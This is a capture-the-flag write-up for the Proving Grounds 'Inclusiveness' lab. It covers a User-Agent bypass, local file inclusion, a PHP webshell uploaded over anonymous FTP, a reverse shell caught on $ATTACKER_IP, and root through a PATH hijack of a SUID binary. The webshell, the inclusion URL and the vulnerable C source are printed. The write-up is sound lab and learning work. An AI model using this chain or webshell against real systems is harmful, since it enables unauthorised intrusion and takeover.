Inclusiveness Writeup - Proving Grounds
Created October 7, 2026 • Last updated October 7, 2026 • 3 min read
Inclusiveness hides a directory behind a User-Agent check, where a ?lang= parameter is a local file inclusion. Anonymous FTP has a writable directory that maps into the web root, so a PHP webshell uploaded over FTP and included through the LFI gives RCE as www-data. A SUID binary that validates the user with a relative whoami call is abused with a PATH hijack for root.
Reconnaissance
Nmap
Scan all TCP ports and fingerprint the services.
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drwxrwxrwx 2 0 0 4096 Feb 08 21:51 pub [NSE: writeable] 22/tcp open ssh OpenSSH 7.9p1 Debian 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Apache2 Debian Default Page: It works
Explain command
| -p- | Scan all 65535 TCP ports. |
| -sCV | Run the default scripts and probe service versions. |
Anonymous FTP with a world-writable /pub, SSH, and a default Apache site. The robots.txt blocks non-search-engine agents, so spoof the User-Agent.
Web enumeration
Read robots.txt with a search-engine User-Agent.
User-agent: * Disallow: /secret_information/
Explain command
| -A | Set the User-Agent header to bypass the agent check. |
A /secret_information/ page loads content through ?lang=en.php, which is a local file inclusion.
Exploitation
LFI and anonymous FTP upload
Read files through the LFI, including /etc/vsftpd.conf, which shows anon_root=/var/ftp and write_enable=YES. So the anonymous FTP /pub directory is on disk at /var/ftp/pub. Upload a PHP webshell over FTP.
<?php system($_GET['cmd']); ?>
cd /pub put backdoor.php 226 Transfer complete
Include the uploaded shell through the LFI and run a command: http://$TARGET_IP/secret_information/?lang=/var/ftp/pub/backdoor.php&cmd=id returns uid=33(www-data). Pass a URL-encoded Python reverse shell as the command and catch it on a listener.
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] www-data@inclusiveness:/var/www/html/secret_information$ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
Explain command
| -lvnp | Listen, verbose, no DNS resolution, on the given port. |
Shell as www-data. Enumerate SUID binaries.
Privilege Escalation
SUID binary PATH hijack
List SUID binaries.
/usr/sbin/pppd /home/tom/rootshell
The custom SUID /home/tom/rootshell stands out. Its source validates the user with a relative whoami call through popen.
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int main() {
printf("checking if you are tom...\n");
FILE* f = popen("whoami", "r");
char user[80];
fgets(user, 80, f);
printf("you are: %s\n", user);
if (strncmp(user, "tom", 3) == 0) {
printf("access granted.\n");
setuid(geteuid());
execlp("sh", "sh", (char *) 0);
}
}
Because whoami is called without an absolute path, hijack PATH with a fake whoami that prints tom, then run the binary.
www-data@inclusiveness:/home/tom$ ./rootshell checking if you are tom... you are: tom access granted. # id uid=0(root) gid=33(www-data) groups=33(www-data)
The fake whoami returns tom, so rootshell grants a shell that runs as root.